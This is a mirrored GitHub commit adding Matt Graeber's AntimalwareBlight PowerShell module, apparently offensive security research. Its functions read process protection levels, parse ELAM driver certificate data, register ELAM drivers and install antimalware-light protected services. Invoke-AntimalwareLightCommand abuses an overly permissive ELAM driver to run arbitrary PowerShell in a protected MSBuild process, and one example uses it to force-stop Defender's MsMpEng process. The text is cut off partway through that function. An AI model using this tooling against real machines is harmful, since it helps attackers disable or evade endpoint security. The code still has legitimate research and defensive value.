mirror of
https://github.com/mattifestation/AntimalwareBlight
synced 2026-06-06 16:04:38 +00:00
Adding AntimalwareBlight PowerShell module
This commit is contained in:
@@ -0,0 +1,770 @@
|
|||||||
|
#Requires -Version 5.1
|
||||||
|
|
||||||
|
# Author: Matt Graeber
|
||||||
|
# License: BSD 3-Clause
|
||||||
|
|
||||||
|
$ModuleRoot = Split-Path $MyInvocation.MyCommand.Path -Parent
|
||||||
|
|
||||||
|
# Dnlib is used by Get-ElamCertInfo to help with parsing the MICROSOFTELAMCERTIFICATEINFO resource
|
||||||
|
# File hash: 6A8D4C28593DFCD9A28B93E95D5D97616C79A0CAF509CD83C5FA2FAEAEAB0EAD
|
||||||
|
# https://www.virustotal.com/gui/file/6a8d4c28593dfcd9a28b93e95d5d97616c79a0caf509cd83c5fa2faeaeab0ead
|
||||||
|
$DnlibBytes = [IO.File]::ReadAllBytes("$ModuleRoot\dnlib.dll")
|
||||||
|
|
||||||
|
try {
|
||||||
|
$null = [Reflection.Assembly]::Load($DnlibBytes)
|
||||||
|
} catch {
|
||||||
|
throw $_
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not ('ProcessHelper.ProcessNativeMethods' -as [Type])) {
|
||||||
|
$TypeDef = @'
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
namespace ProcessHelper {
|
||||||
|
public class ProcessNativeMethods {
|
||||||
|
public enum PsProtectedType {
|
||||||
|
None = 0,
|
||||||
|
ProtectedLight = 1,
|
||||||
|
Protected = 2,
|
||||||
|
Max = 3
|
||||||
|
}
|
||||||
|
|
||||||
|
public enum PsProtectedSigner {
|
||||||
|
None = 0,
|
||||||
|
Authenticode = 1,
|
||||||
|
CodeGen = 2,
|
||||||
|
Antimalware = 3,
|
||||||
|
Lsa = 4,
|
||||||
|
Windows = 5,
|
||||||
|
WinTcb = 6,
|
||||||
|
Max = 7
|
||||||
|
}
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError = true)]
|
||||||
|
public static extern IntPtr OpenProcess(
|
||||||
|
int processAccess,
|
||||||
|
bool bInheritHandle,
|
||||||
|
int processId);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError=true)]
|
||||||
|
public static extern bool CloseHandle(
|
||||||
|
IntPtr hHandle);
|
||||||
|
|
||||||
|
[DllImport("ntdll.dll")]
|
||||||
|
public static extern int NtQueryInformationProcess(
|
||||||
|
IntPtr ProcessHandle,
|
||||||
|
uint ProcessInformationClass,
|
||||||
|
ref byte ProcessInformation,
|
||||||
|
uint ProcessInformationLength,
|
||||||
|
ref uint ReturnLength);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
'@
|
||||||
|
|
||||||
|
Add-Type -TypeDefinition $TypeDef
|
||||||
|
}
|
||||||
|
|
||||||
|
filter Get-ProcessProtectionLevel {
|
||||||
|
<#
|
||||||
|
.SYNOPSIS
|
||||||
|
|
||||||
|
Displays the protection level of a process.
|
||||||
|
|
||||||
|
Author: Matt Graeber
|
||||||
|
License: BSD 3-Clause
|
||||||
|
|
||||||
|
.DESCRIPTION
|
||||||
|
|
||||||
|
Get-ProcessProtectionLevel displays the protection level of a process.
|
||||||
|
|
||||||
|
.PARAMETER ProcessId
|
||||||
|
|
||||||
|
Specifies the process ID of the process.
|
||||||
|
|
||||||
|
.PARAMETER ReturnOnlyProtected
|
||||||
|
|
||||||
|
Specifies that Get-ProcessProtectionLevel should only return output if the process is protected.
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
|
||||||
|
Get-Process -Name MsMpEng | Get-ProcessProtectionLevel
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
|
||||||
|
Get-Process | Get-ProcessProtectionLevel -ReturnOnlyProtected -ErrorAction SilentlyContinue
|
||||||
|
|
||||||
|
Returns the specific protection levels for all protected processes.
|
||||||
|
#>
|
||||||
|
|
||||||
|
[CmdletBinding()]
|
||||||
|
param (
|
||||||
|
[Parameter(Mandatory, ValueFromPipelineByPropertyName)]
|
||||||
|
[Int]
|
||||||
|
[Alias('Id')]
|
||||||
|
$ProcessId,
|
||||||
|
|
||||||
|
[Switch]
|
||||||
|
$ReturnOnlyProtected
|
||||||
|
)
|
||||||
|
|
||||||
|
$ProcessProtectionInformation = 0x0000003D
|
||||||
|
|
||||||
|
[Byte] $ProtectionLevel = 0
|
||||||
|
[UInt32] $ReturnLength = 0
|
||||||
|
|
||||||
|
$ProcessHandle = [ProcessHelper.ProcessNativeMethods]::OpenProcess(
|
||||||
|
0x00001000, # QueryLimitedInformation
|
||||||
|
$False,
|
||||||
|
$ProcessId
|
||||||
|
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
|
||||||
|
|
||||||
|
if ($ProcessHandle -and ($ProcessHandle -is [IntPtr]) -and ($ProcessHandle -ne [IntPtr]::Zero)) {
|
||||||
|
$Result = [ProcessHelper.ProcessNativeMethods]::NtQueryInformationProcess(
|
||||||
|
$ProcessHandle,
|
||||||
|
$ProcessProtectionInformation,
|
||||||
|
[Ref] $ProtectionLevel,
|
||||||
|
1,
|
||||||
|
[Ref] $ReturnLength
|
||||||
|
)
|
||||||
|
|
||||||
|
if (($Result -eq 0) -and ($ReturnLength -eq 1)) {
|
||||||
|
$ProtectedTypeValue = [Byte] ($ProtectionLevel -band 0x07)
|
||||||
|
$ProtectedSignerValue = [Byte] (($ProtectionLevel -band 0xF0) -shr 4)
|
||||||
|
|
||||||
|
if ((-not $ReturnOnlyProtected) -or ($ReturnOnlyProtected -and ($ProtectedTypeValue -gt 0))) {
|
||||||
|
$ProcessInstance = Get-CimInstance -ClassName Win32_Process -Filter "ProcessId = '$ProcessId'" -Property Name
|
||||||
|
|
||||||
|
[PSCustomObject] @{
|
||||||
|
ProcessId = $ProcessId
|
||||||
|
ProcessName = $ProcessInstance.Name
|
||||||
|
Type = ([ProcessHelper.ProcessNativeMethods+PsProtectedType] $ProtectedTypeValue)
|
||||||
|
Signer = ([ProcessHelper.ProcessNativeMethods+PsProtectedSigner] $ProtectedSignerValue)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
Write-Error "Failed to obtain process protection level for process ID: $ProcessId. Error message: $(([ComponentModel.Win32Exception] $Result).Message). Error code: 0x$($Result.ToString('X8'))"
|
||||||
|
}
|
||||||
|
|
||||||
|
$null = [ProcessHelper.ProcessNativeMethods]::CloseHandle($ProcessHandle)
|
||||||
|
} else {
|
||||||
|
Write-Error "Unable to obtain a process handle for process ID: $ProcessId. Error message: $($LastError.Message). Error code: 0x$($LastError.NativeErrorCode.ToString('X8'))"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function Get-ElamCertInfo {
|
||||||
|
<#
|
||||||
|
.SYNOPSIS
|
||||||
|
|
||||||
|
Extract early launch anti-malware certificate information from an ELAM driver.
|
||||||
|
|
||||||
|
Author: Matt Graeber
|
||||||
|
License: BSD 3-Clause
|
||||||
|
|
||||||
|
.DESCRIPTION
|
||||||
|
|
||||||
|
Get-ElamCertInfo parses out the MICROSOFTELAMCERTIFICATEINFO resource of an ELAM driver. The information contained in this structure contains a list of approved anti-malware product signers.
|
||||||
|
|
||||||
|
.PARAMETER Path
|
||||||
|
|
||||||
|
Specifies the path to the target ELAM driver.
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
|
||||||
|
Get-CimInstance Win32_LoadOrderGroup -Filter 'Name = "Early-launch"' | Get-CimAssociatedInstance -Association Win32_LoadOrderGroupServiceMembers | Get-ElamCertInfo
|
||||||
|
|
||||||
|
Description
|
||||||
|
-----------
|
||||||
|
|
||||||
|
Parse approved ELAM anti-malware signer information from any currently installed ELAM drivers.
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
|
||||||
|
Get-ChildItem -Path download | Get-ElamCertInfo
|
||||||
|
|
||||||
|
Description
|
||||||
|
-----------
|
||||||
|
|
||||||
|
Parse approved ELAM anti-malware signer information from a directory containing ELAM drivers.
|
||||||
|
|
||||||
|
.LINK
|
||||||
|
|
||||||
|
https://msdn.microsoft.com/en-us/library/windows/desktop/dn313124
|
||||||
|
http://www.alex-ionescu.com/?p=146
|
||||||
|
#>
|
||||||
|
|
||||||
|
param (
|
||||||
|
[Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
|
||||||
|
[ValidateScript({ Test-Path -Path $_ })]
|
||||||
|
[Alias('PathName')]
|
||||||
|
[Alias('FullName')]
|
||||||
|
[String[]]
|
||||||
|
$Path
|
||||||
|
)
|
||||||
|
|
||||||
|
BEGIN {
|
||||||
|
$HashAlgorithmTable = @{
|
||||||
|
[UInt16] 32771 = 'MD5'
|
||||||
|
[UInt16] 32772 = 'SHA1'
|
||||||
|
[UInt16] 32780 = 'SHA256'
|
||||||
|
[UInt16] 32781 = 'SHA384'
|
||||||
|
[UInt16] 32782 = 'SHA512'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
PROCESS {
|
||||||
|
foreach ($FilePath in $Path) {
|
||||||
|
$FullPath = Resolve-Path $FilePath
|
||||||
|
|
||||||
|
$PEImage = New-Object -TypeName dnlib.PE.PEImage -ArgumentList $FullPath
|
||||||
|
|
||||||
|
if ($PEImage) {
|
||||||
|
$FileInfo = Get-Item -Path $FullPath
|
||||||
|
$FileHash = Get-FileHash -Path $FullPath -Algorithm SHA256
|
||||||
|
|
||||||
|
$ObjectProperties = [Ordered] @{
|
||||||
|
CompanyName = $FileInfo.VersionInfo.CompanyName
|
||||||
|
OriginalFilename = $FileInfo.VersionInfo.OriginalFilename
|
||||||
|
InternalName = $FileInfo.VersionInfo.InternalName
|
||||||
|
FileVersion = $FileInfo.VersionInfo.FileVersion
|
||||||
|
FileDescription = $FileInfo.VersionInfo.FileDescription
|
||||||
|
FileHash = $FileHash.Hash
|
||||||
|
ApprovedAntiMalwareSigners = $null
|
||||||
|
}
|
||||||
|
|
||||||
|
$ELAMCertInfo = $PEImage.Win32Resources.Root.Directories | Where-Object { $_.Name -eq 'MSELAMCERTINFOID' }
|
||||||
|
|
||||||
|
if ($ELAMCertInfo) {
|
||||||
|
$MSElamCertInfo = $ELAMCertInfo.Directories | Where-Object { $_.Name -eq 'MICROSOFTELAMCERTIFICATEINFO' }
|
||||||
|
|
||||||
|
if ($MSElamCertInfo) {
|
||||||
|
$ResourceData = $MSElamCertInfo.Data[0].Data
|
||||||
|
|
||||||
|
if ($ResourceData) {
|
||||||
|
$ELAMCertInfoBytes = $ResourceData.ReadBytes($ResourceData.Length)
|
||||||
|
|
||||||
|
$AntiMalwareSignerRuleCount = [BitConverter]::ToUInt16($ELAMCertInfoBytes, 0)
|
||||||
|
|
||||||
|
$CurrentIndex = 0
|
||||||
|
|
||||||
|
$AntiMalwareSignerRules = New-Object -TypeName PSObject[]($AntiMalwareSignerRuleCount)
|
||||||
|
|
||||||
|
for ($i = 0; $i -lt $AntiMalwareSignerRuleCount; $i++) {
|
||||||
|
$CurrentIndex += 2
|
||||||
|
|
||||||
|
# Obtain the index of the end of the first string
|
||||||
|
$TBSHashIndex = $CurrentIndex
|
||||||
|
while ([BitConverter]::ToUInt16($ELAMCertInfoBytes, $CurrentIndex) -ne 0) { $CurrentIndex += 2 }
|
||||||
|
|
||||||
|
$CertTBSHash = [Text.Encoding]::Unicode.GetString($ELAMCertInfoBytes[$TBSHashIndex..($CurrentIndex - 1)])
|
||||||
|
|
||||||
|
$CurrentIndex += 2
|
||||||
|
|
||||||
|
$HashAlgorithm = $HashAlgorithmTable[[BitConverter]::ToUInt16($ELAMCertInfoBytes, $CurrentIndex)]
|
||||||
|
|
||||||
|
$CurrentIndex += 2
|
||||||
|
|
||||||
|
$EKUListIndex = $CurrentIndex
|
||||||
|
|
||||||
|
while ([BitConverter]::ToUInt16($ELAMCertInfoBytes, $CurrentIndex) -ne 0) { $CurrentIndex += 2 }
|
||||||
|
|
||||||
|
$EKUList = $null
|
||||||
|
|
||||||
|
if ($CurrentIndex - $EKUListIndex) {
|
||||||
|
$EKUList = [Text.Encoding]::Unicode.GetString($ELAMCertInfoBytes[$EKUListIndex..($CurrentIndex - 1)])
|
||||||
|
}
|
||||||
|
|
||||||
|
$AntiMalwareSignerRules[$i] = [PSCustomObject] @{
|
||||||
|
AntiMalwareServiceSignerHash = $CertTBSHash
|
||||||
|
AntiMalwareServiceSignerHashAlgorithm = $HashAlgorithm
|
||||||
|
AntiMalwareServiceSignerEKUs = $EKUList
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$ObjectProperties['ApprovedAntiMalwareSigners'] = $AntiMalwareSignerRules
|
||||||
|
|
||||||
|
New-Object -TypeName PSObject -Property $ObjectProperties
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function Register-ELAMDriver {
|
||||||
|
<#
|
||||||
|
.SYNOPSIS
|
||||||
|
|
||||||
|
Registers an ELAM driver's certificate information.
|
||||||
|
|
||||||
|
Author: Matt Graeber
|
||||||
|
License: BSD 3-Clause
|
||||||
|
|
||||||
|
.DESCRIPTION
|
||||||
|
|
||||||
|
Register-ELAMDriver is a wrapper for the InstallELAMCertificateInfo function.
|
||||||
|
|
||||||
|
.PARAMETER ELAMDriverFilePath
|
||||||
|
|
||||||
|
Specifies the path to the target ELAM driver.
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
|
||||||
|
Register-ELAMDriver -ELAMDriverFilePath OverlyPermissiveELAMDriver.sys
|
||||||
|
|
||||||
|
.LINK
|
||||||
|
|
||||||
|
https://docs.microsoft.com/en-us/windows/win32/api/sysinfoapi/nf-sysinfoapi-installelamcertificateinfo
|
||||||
|
#>
|
||||||
|
|
||||||
|
[CmdletBinding()]
|
||||||
|
param (
|
||||||
|
[Parameter(Mandatory, Position = 0)]
|
||||||
|
[String]
|
||||||
|
$ELAMDriverFilePath
|
||||||
|
)
|
||||||
|
|
||||||
|
if (-not ('Elam' -as [Type])) {
|
||||||
|
Add-Type -TypeDefinition @'
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using Microsoft.Win32.SafeHandles;
|
||||||
|
|
||||||
|
public static class Elam {
|
||||||
|
[DllImport("kernel32.dll", CharSet=CharSet.Auto, SetLastError=true)]
|
||||||
|
public static extern bool InstallELAMCertificateInfo(SafeFileHandle handle);
|
||||||
|
}
|
||||||
|
'@
|
||||||
|
}
|
||||||
|
|
||||||
|
$DriverFullPath = Resolve-Path -Path $ELAMDriverFilePath -ErrorAction Stop
|
||||||
|
|
||||||
|
$FileStream = [IO.File]::Open($DriverFullPath, [IO.FileMode]::Open, [IO.FileAccess]::Read, [IO.FileShare]::Read)
|
||||||
|
|
||||||
|
$Result = [Elam]::InstallELAMCertificateInfo($FileStream.SafeFileHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
|
||||||
|
|
||||||
|
if ($Result -eq $False) {
|
||||||
|
$FileStream.Close()
|
||||||
|
throw $LastError
|
||||||
|
}
|
||||||
|
|
||||||
|
$FileStream.Close()
|
||||||
|
}
|
||||||
|
|
||||||
|
function Install-ProtectedService {
|
||||||
|
<#
|
||||||
|
.SYNOPSIS
|
||||||
|
|
||||||
|
Installs a protected service.
|
||||||
|
|
||||||
|
Author: Matt Graeber
|
||||||
|
License: BSD 3-Clause
|
||||||
|
|
||||||
|
.DESCRIPTION
|
||||||
|
|
||||||
|
Install-ProtectedService installs an executable with optional argument as an antimalware-light protected service.
|
||||||
|
|
||||||
|
.PARAMETER ExecutableFilePath
|
||||||
|
|
||||||
|
Specifies the path to the service executable.
|
||||||
|
|
||||||
|
.PARAMETER Arguments
|
||||||
|
|
||||||
|
Specifies optional arguments to the service executable.
|
||||||
|
|
||||||
|
.PARAMETER ServiceName
|
||||||
|
|
||||||
|
Specifies the name of the service to install.
|
||||||
|
|
||||||
|
.PARAMETER DisplayName
|
||||||
|
|
||||||
|
Specifies the display name of the service.
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
|
||||||
|
Install-ProtectedService -ExecutableFilePath msbuild.exe -Arguments runme.csproj -ServiceName ProtectedMSBuild -DisplayName 'This is a protected msbuild service'
|
||||||
|
|
||||||
|
.LINK
|
||||||
|
|
||||||
|
https://docs.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-#starting-the-service-as-protected
|
||||||
|
#>
|
||||||
|
|
||||||
|
[CmdletBinding()]
|
||||||
|
param (
|
||||||
|
[Parameter(Mandatory)]
|
||||||
|
[String]
|
||||||
|
[ValidateNotNullOrEmpty()]
|
||||||
|
$ExecutableFilePath,
|
||||||
|
|
||||||
|
[String]
|
||||||
|
[ValidateNotNullOrEmpty()]
|
||||||
|
$Arguments,
|
||||||
|
|
||||||
|
[Parameter(Mandatory)]
|
||||||
|
[String]
|
||||||
|
[ValidateNotNullOrEmpty()]
|
||||||
|
$ServiceName,
|
||||||
|
|
||||||
|
[Parameter(Mandatory)]
|
||||||
|
[String]
|
||||||
|
[ValidateNotNullOrEmpty()]
|
||||||
|
$DisplayName
|
||||||
|
)
|
||||||
|
|
||||||
|
if (-not (New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
|
||||||
|
throw 'Install-ProtectedService must run from an elevated PowerShell session.'
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not ('ServiceHelper.ProcessNativeMethods' -as [Type])) {
|
||||||
|
$TypeDef = @'
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
namespace ServiceHelper {
|
||||||
|
[Flags]
|
||||||
|
public enum SC_MANAGER {
|
||||||
|
AllAccess = 0xF003F,
|
||||||
|
Connect = 0x0001,
|
||||||
|
CreateService = 0x0002,
|
||||||
|
EnumerateService = 0x0004,
|
||||||
|
Lock = 0x0008,
|
||||||
|
QueryLockStatus = 0x0010,
|
||||||
|
ModifyBootConfig = 0x0020
|
||||||
|
}
|
||||||
|
|
||||||
|
[Flags]
|
||||||
|
public enum SERVICE {
|
||||||
|
AllAccess = 0xF01FF,
|
||||||
|
Delete = 0x10000,
|
||||||
|
QueryConfig = 0x0001,
|
||||||
|
ChangeConfig = 0x0002,
|
||||||
|
QueryStatus = 0x0004,
|
||||||
|
EnumerateDependents = 0x0008,
|
||||||
|
Start = 0x0010,
|
||||||
|
Stop = 0x0020,
|
||||||
|
PauseContinue = 0x0040,
|
||||||
|
Interrogate = 0x0080,
|
||||||
|
UserDefinedControl = 0x0100
|
||||||
|
}
|
||||||
|
|
||||||
|
public enum SERVICE_CONFIG {
|
||||||
|
ConfigDescription = 1, // SERVICE_CONFIG_DESCRIPTION
|
||||||
|
FailureActions = 2, // SERVICE_CONFIG_FAILURE_ACTIONS
|
||||||
|
DelayedAutoStartInfo = 3, // SERVICE_CONFIG_DELAYED_AUTO_START_INFO
|
||||||
|
FailureActionsFlag = 4, // SERVICE_CONFIG_FAILURE_ACTIONS_FLAG
|
||||||
|
ServiceSIDInfo = 5, // SERVICE_CONFIG_SERVICE_SID_INFO
|
||||||
|
RequiredPrivilegesInfo = 6, // SERVICE_CONFIG_REQUIRED_PRIVILEGES_INFO
|
||||||
|
PreshutdownInfo = 7, // SERVICE_CONFIG_PRESHUTDOWN_INFO
|
||||||
|
TriggerInfo = 8, // SERVICE_CONFIG_TRIGGER_INFO
|
||||||
|
PreferredNode = 9, // SERVICE_CONFIG_PREFERRED_NODE
|
||||||
|
LaunchProtected = 12 // SERVICE_CONFIG_LAUNCH_PROTECTED
|
||||||
|
}
|
||||||
|
|
||||||
|
public enum SERVICE_LAUNCH_PROTECTED {
|
||||||
|
None = 0, // SERVICE_LAUNCH_PROTECTED_NONE
|
||||||
|
Windows = 1, // SERVICE_LAUNCH_PROTECTED_WINDOWS
|
||||||
|
WindowsLight = 2, // SERVICE_LAUNCH_PROTECTED_WINDOWS_LIGHT
|
||||||
|
AntimalwareLight = 3 // SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT
|
||||||
|
}
|
||||||
|
|
||||||
|
[Flags]
|
||||||
|
public enum SERVICE_START {
|
||||||
|
BootStart = 0x0000,
|
||||||
|
SystemStart = 0x0001,
|
||||||
|
AutoStart = 0x0002,
|
||||||
|
DemandStart = 0x0003,
|
||||||
|
Disabled = 0x0004
|
||||||
|
}
|
||||||
|
|
||||||
|
public struct SERVICE_LAUNCH_PROTECTED_INFO {
|
||||||
|
public uint dwLaunchProtected;
|
||||||
|
}
|
||||||
|
|
||||||
|
public class ProcessNativeMethods {
|
||||||
|
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||||
|
public static extern IntPtr CreateService(IntPtr hService, string serviceName, string displayName, int access, int serviceType, int startType, int errorControl, string binaryPath, string loadOrderGroup, IntPtr pTagId, string dependencies, string servicesStartName, string password);
|
||||||
|
|
||||||
|
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||||
|
public static extern IntPtr OpenSCManager(string machineName, string databaseName, int access);
|
||||||
|
|
||||||
|
[DllImport("advapi32.dll", SetLastError = true)]
|
||||||
|
public static extern bool ChangeServiceConfig2W(IntPtr hService, SERVICE_CONFIG dwInfoLevel, ref SERVICE_LAUNCH_PROTECTED_INFO lpInfo);
|
||||||
|
|
||||||
|
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||||
|
public static extern bool CloseServiceHandle(IntPtr hService);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
'@
|
||||||
|
|
||||||
|
Add-Type -TypeDefinition $TypeDef -ErrorAction Stop
|
||||||
|
}
|
||||||
|
|
||||||
|
$ServiceExecutableFullPath = Resolve-Path -Path $ExecutableFilePath
|
||||||
|
|
||||||
|
if ($Arguments) {
|
||||||
|
$ServiceBinaryPathName = "`"$ServiceExecutableFullPath`" $Arguments"
|
||||||
|
} else {
|
||||||
|
$ServiceBinaryPathName = "`"$ServiceExecutableFullPath`""
|
||||||
|
}
|
||||||
|
|
||||||
|
Write-Verbose "Obtaining a handle to the Service Control Manager (SCM) with the following access rights: SC_MANAGER_CREATE_SERVICE, SC_MANAGER_CONNECT."
|
||||||
|
# Get a handle to the service control manager requesting the minimum possible access to create a service: SC_MANAGER_CREATE_SERVICE (0x0002) | SC_MANAGER_CONNECT (0x0001)
|
||||||
|
$SCHandle = [ServiceHelper.ProcessNativeMethods]::OpenSCManager(
|
||||||
|
'', # lpMachineName
|
||||||
|
'ServicesActive', # lpDatabaseName
|
||||||
|
[ServiceHelper.SC_MANAGER] 'CreateService, Connect' # dwDesiredAccess
|
||||||
|
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
|
||||||
|
|
||||||
|
if ($SCHandle -eq ([IntPtr]::Zero)) {
|
||||||
|
# Failed to open a handle to the service control manager
|
||||||
|
|
||||||
|
Write-Error "Failed to obtain a service control manager handle with SC_MANAGER_CREATE_SERVICE | SC_MANAGER_CONNECT access. Reason: $($LastError.Message) (ErrorCode: 0x$($LastError.NativeErrorCode.ToString('X8')))"
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
Write-Verbose 'Creating service.'
|
||||||
|
|
||||||
|
$ServiceHandle = [ServiceHelper.ProcessNativeMethods]::CreateService(
|
||||||
|
$SCHandle, # hSCManager
|
||||||
|
$ServiceName, # lpServiceName
|
||||||
|
$DisplayName, # lpDisplayName
|
||||||
|
([ServiceHelper.SERVICE]::AllAccess), # dwDesiredAccess
|
||||||
|
0x10, # dwServiceType - SERVICE_WIN32_OWN_PROCESS
|
||||||
|
2, # dwStartType - Auto Start
|
||||||
|
1, # dwErrorControl - SERVICE_ERROR_NORMAL
|
||||||
|
$ServiceBinaryPathName, # lpBinaryPathName
|
||||||
|
$null, # lpLoadOrderGroup
|
||||||
|
([IntPtr]::Zero), # lpdwTagId
|
||||||
|
$null, # lpDependencies
|
||||||
|
'LocalSystem', # lpServiceStartName
|
||||||
|
$null # lpPassword
|
||||||
|
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
|
||||||
|
|
||||||
|
if ($ServiceHandle -eq ([IntPtr]::Zero)) {
|
||||||
|
# Close the service control manager handle
|
||||||
|
$null = [ServiceHelper.ProcessNativeMethods]::CloseServiceHandle($SCHandle)
|
||||||
|
|
||||||
|
Write-Error "Failed to create service. Reason: $($LastError.Message) (ErrorCode: 0x$($LastError.NativeErrorCode.ToString('X8')))"
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
Write-Verbose 'Configuring service as SERVICE_LAUNCH_PROTECTED_ANTIMALWARE_LIGHT'
|
||||||
|
|
||||||
|
$ServiceLaunchProtectedInfo = New-Object -TypeName ServiceHelper.SERVICE_LAUNCH_PROTECTED_INFO
|
||||||
|
$ServiceLaunchProtectedInfo.dwLaunchProtected = [ServiceHelper.SERVICE_LAUNCH_PROTECTED]::AntimalwareLight
|
||||||
|
|
||||||
|
$Result = [ServiceHelper.ProcessNativeMethods]::ChangeServiceConfig2W(
|
||||||
|
$ServiceHandle, # hService
|
||||||
|
([ServiceHelper.SERVICE_CONFIG]::LaunchProtected), # dwInfoLevel
|
||||||
|
([Ref] $ServiceLaunchProtectedInfo)
|
||||||
|
);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
|
||||||
|
|
||||||
|
if ($Result -eq $False) {
|
||||||
|
# Close the service handle
|
||||||
|
$null = [ServiceHelper.ProcessNativeMethods]::CloseServiceHandle($ServiceHandle)
|
||||||
|
|
||||||
|
# Close the service control manager handle
|
||||||
|
$null = [ServiceHelper.ProcessNativeMethods]::CloseServiceHandle($SCHandle)
|
||||||
|
|
||||||
|
Write-Error "Failed to set the service launch protection level. Reason: $($LastError.Message) (ErrorCode: 0x$($LastError.NativeErrorCode.ToString('X8')))"
|
||||||
|
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
# Close the service handle
|
||||||
|
$null = [ServiceHelper.ProcessNativeMethods]::CloseServiceHandle($ServiceHandle)
|
||||||
|
|
||||||
|
# Close the service control manager handle
|
||||||
|
$null = [ServiceHelper.ProcessNativeMethods]::CloseServiceHandle($SCHandle)
|
||||||
|
}
|
||||||
|
|
||||||
|
function Invoke-AntimalwareLightCommand {
|
||||||
|
<#
|
||||||
|
.SYNOPSIS
|
||||||
|
|
||||||
|
Executes PowerShell code from the context of an antimalware-light protected msbuild.exe process.
|
||||||
|
|
||||||
|
Author: Matt Graeber
|
||||||
|
License: BSD 3-Clause
|
||||||
|
|
||||||
|
.DESCRIPTION
|
||||||
|
|
||||||
|
Invoke-AntimalwareLightCommand abuse an overly permissive ELAM driver that permits Microsoft-signed code to run at the antimalware-light protection level.
|
||||||
|
|
||||||
|
This function is deliberately only partially weaponized. A user must supply an overly-permissive ELAM driver and Microsoft-signed MSBuild executable.
|
||||||
|
|
||||||
|
.PARAMETER OverlyPermissiveELAMDriverPath
|
||||||
|
|
||||||
|
Specifies the path to an overly permissive ELAM driver that allows the following Microsoft certificate hash: E17764C39F2AFD7114F8528D2F9783D9A591F6679715EECE730A262CF5CFD3B3. The user of this function must find and supply their own overly permissive driver. Without it, Invoke-AntimalwareLightCommand will not work.
|
||||||
|
|
||||||
|
.PARAMETER MicrosoftSignedMSBuildPath
|
||||||
|
|
||||||
|
Specifies the path to a Microsoft-signed MSBuild executable. Specifically, you need to supply MSBuild with the following hash: 6891DA439A64108CC7FD7CA27F14BD726844B20C084506C13681078F5D9A3768
|
||||||
|
|
||||||
|
.PARAMETER ScriptBlock
|
||||||
|
|
||||||
|
Specifies the PowerShell code to executed at the antimalware-light protection level. Avoid calling any code that would spawn a child process (e.g. Add-Type) considering protected processes cannot start protected child processes by default.
|
||||||
|
|
||||||
|
.PARAMETER ProtectedServiceName
|
||||||
|
|
||||||
|
Specifies the name of the protected service to install. If -ProtectedServiceName is not specified, "MSBuildProtected" will be used as the default service name.
|
||||||
|
|
||||||
|
.PARAMETER SkipServiceInstall
|
||||||
|
|
||||||
|
Specifies that the service should not be installed. Supply this switch when you want to build a new payload for a service that has already been installed.
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
|
||||||
|
Invoke-AntimalwareLightCommand -OverlyPermissiveELAMDriverPath OverlyPermissiveELAM.sys -MicrosoftSignedMSBuildPath MSBuild.exe -ScriptBlock { Get-Process -Name MsMpEng.exe | Stop-Process -Force }
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
|
||||||
|
Invoke-AntimalwareLightCommand -OverlyPermissiveELAMDriverPath OverlyPermissiveELAM.sys -MicrosoftSignedMSBuildPath MSBuild.exe -ScriptBlock { Start-Sleep -Seconds 20 } -SkipServiceInstall
|
||||||
|
#>
|
||||||
|
|
||||||
|
[CmdletBinding()]
|
||||||
|
param (
|
||||||
|
[Parameter(Mandatory)]
|
||||||
|
[String]
|
||||||
|
[ValidateNotNullOrEmpty()]
|
||||||
|
$OverlyPermissiveELAMDriverPath,
|
||||||
|
|
||||||
|
[Parameter(Mandatory)]
|
||||||
|
[String]
|
||||||
|
[ValidateNotNullOrEmpty()]
|
||||||
|
$MicrosoftSignedMSBuildPath,
|
||||||
|
|
||||||
|
[Parameter(Mandatory)]
|
||||||
|
[ScriptBlock]
|
||||||
|
$ScriptBlock,
|
||||||
|
|
||||||
|
[String]
|
||||||
|
[ValidateNotNullOrEmpty()]
|
